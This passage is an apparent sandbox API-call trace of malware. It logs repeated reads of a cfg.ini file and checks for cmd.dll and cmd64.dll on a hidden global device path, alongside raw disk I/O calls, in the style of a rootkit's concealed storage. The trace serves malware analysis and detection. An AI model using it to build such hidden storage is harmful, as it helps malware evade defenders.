_Dest="0d24eb7c\\cfg.ini") returned 16 [0122.216] KeEnterCriticalRegion () [0122.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.216] ExFreePoolWithTag (P=0xfffffa8003be3390, Tag=0x0) [0122.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.216] KeLeaveCriticalRegion () [0122.216] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.216] ReleaseMutex (hMutex=0xf0) returned 1 [0122.216] Sleep (dwMilliseconds=0x124f80) [0122.230] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.230] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.230] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.230] KeEnterCriticalRegion () [0122.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.230] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.230] IdePortDispatch () returned 0x103 [0122.230] KeWaitForMutexObject () returned 0x0 [0122.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.231] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.231] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.231] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.231] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.231] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3550 [0122.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.231] KeLeaveCriticalRegion () [0122.231] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.231] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.231] KeEnterCriticalRegion () [0122.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.231] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.231] KeLeaveCriticalRegion () [0122.231] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.231] KeEnterCriticalRegion () [0122.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.231] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.231] IdePortDispatch () returned 0x103 [0122.231] KeWaitForMutexObject () returned 0x0 [0122.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.231] KeLeaveCriticalRegion () [0122.231] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.231] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.231] KeEnterCriticalRegion () [0122.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.231] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c54000 [0122.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.231] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.232] IdePortDispatch () returned 0x103 [0122.232] KeWaitForMutexObject () returned 0x0 [0122.232] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.232] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.232] IdePortDispatch () returned 0x103 [0122.232] KeWaitForMutexObject () returned 0x0 [0122.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.232] KeLeaveCriticalRegion () [0122.232] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.233] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.233] KeEnterCriticalRegion () [0122.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.233] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.233] KeLeaveCriticalRegion () [0122.233] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.233] KeEnterCriticalRegion () [0122.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.233] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.233] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.233] KeLeaveCriticalRegion () [0122.233] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.233] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.233] KeEnterCriticalRegion () [0122.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.233] ExFreePoolWithTag (P=0xfffffa8003be3550, Tag=0x0) [0122.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.233] KeLeaveCriticalRegion () [0122.233] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.233] ReleaseMutex (hMutex=0xf0) returned 1 [0122.233] Sleep (dwMilliseconds=0x124f80) [0122.248] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.248] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.248] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.248] KeEnterCriticalRegion () [0122.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.248] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.248] IdePortDispatch () returned 0x103 [0122.248] KeWaitForMutexObject () returned 0x0 [0122.248] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.248] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.248] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.248] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.248] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.248] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4f00 [0122.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.248] KeLeaveCriticalRegion () [0122.248] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.248] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.248] KeEnterCriticalRegion () [0122.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.248] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.248] KeLeaveCriticalRegion () [0122.248] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.249] KeEnterCriticalRegion () [0122.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.249] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.249] IdePortDispatch () returned 0x103 [0122.249] KeWaitForMutexObject () returned 0x0 [0122.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.249] KeLeaveCriticalRegion () [0122.249] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.249] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.249] KeEnterCriticalRegion () [0122.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.249] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c59000 [0122.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.249] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.249] IdePortDispatch () returned 0x103 [0122.249] KeWaitForMutexObject () returned 0x0 [0122.250] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.250] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.250] IdePortDispatch () returned 0x103 [0122.250] KeWaitForMutexObject () returned 0x0 [0122.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.250] KeLeaveCriticalRegion () [0122.250] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.250] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.250] KeEnterCriticalRegion () [0122.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.250] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.250] KeLeaveCriticalRegion () [0122.250] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.250] KeEnterCriticalRegion () [0122.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.250] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.251] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.251] KeLeaveCriticalRegion () [0122.251] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.251] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.251] KeEnterCriticalRegion () [0122.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.251] ExFreePoolWithTag (P=0xfffffa8003be4f00, Tag=0x0) [0122.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.251] KeLeaveCriticalRegion () [0122.251] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.251] ReleaseMutex (hMutex=0xf0) returned 1 [0122.251] Sleep (dwMilliseconds=0x124f80) [0122.266] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.266] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.267] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.267] KeEnterCriticalRegion () [0122.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.267] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.267] IdePortDispatch () returned 0x103 [0122.267] KeWaitForMutexObject () returned 0x0 [0122.267] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.267] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.267] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.267] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.267] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.267] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4d00 [0122.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.267] KeLeaveCriticalRegion () [0122.267] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.267] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.267] KeEnterCriticalRegion () [0122.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.267] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.267] KeLeaveCriticalRegion () [0122.267] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.267] KeEnterCriticalRegion () [0122.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.267] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.267] IdePortDispatch () returned 0x103 [0122.267] KeWaitForMutexObject () returned 0x0 [0122.268] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.268] KeLeaveCriticalRegion () [0122.268] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.268] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.268] KeEnterCriticalRegion () [0122.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5e000 [0122.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.268] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.268] IdePortDispatch () returned 0x103 [0122.268] KeWaitForMutexObject () returned 0x0 [0122.268] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.268] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.268] IdePortDispatch () returned 0x103 [0122.268] KeWaitForMutexObject () returned 0x0 [0122.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.269] KeLeaveCriticalRegion () [0122.269] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.269] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.269] KeEnterCriticalRegion () [0122.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.269] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.269] KeLeaveCriticalRegion () [0122.269] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.269] KeEnterCriticalRegion () [0122.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.269] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.269] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.269] KeLeaveCriticalRegion () [0122.269] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.269] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.269] KeEnterCriticalRegion () [0122.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.269] ExFreePoolWithTag (P=0xfffffa8003be4d00, Tag=0x0) [0122.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.269] KeLeaveCriticalRegion () [0122.269] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.270] ReleaseMutex (hMutex=0xf0) returned 1 [0122.270] Sleep (dwMilliseconds=0x124f80) [0122.286] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.286] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.286] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.287] KeEnterCriticalRegion () [0122.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.287] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.287] IdePortDispatch () returned 0x103 [0122.287] KeWaitForMutexObject () returned 0x0 [0122.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.287] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.287] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.287] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.287] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.287] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4fb0 [0122.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.287] KeLeaveCriticalRegion () [0122.287] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.287] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: 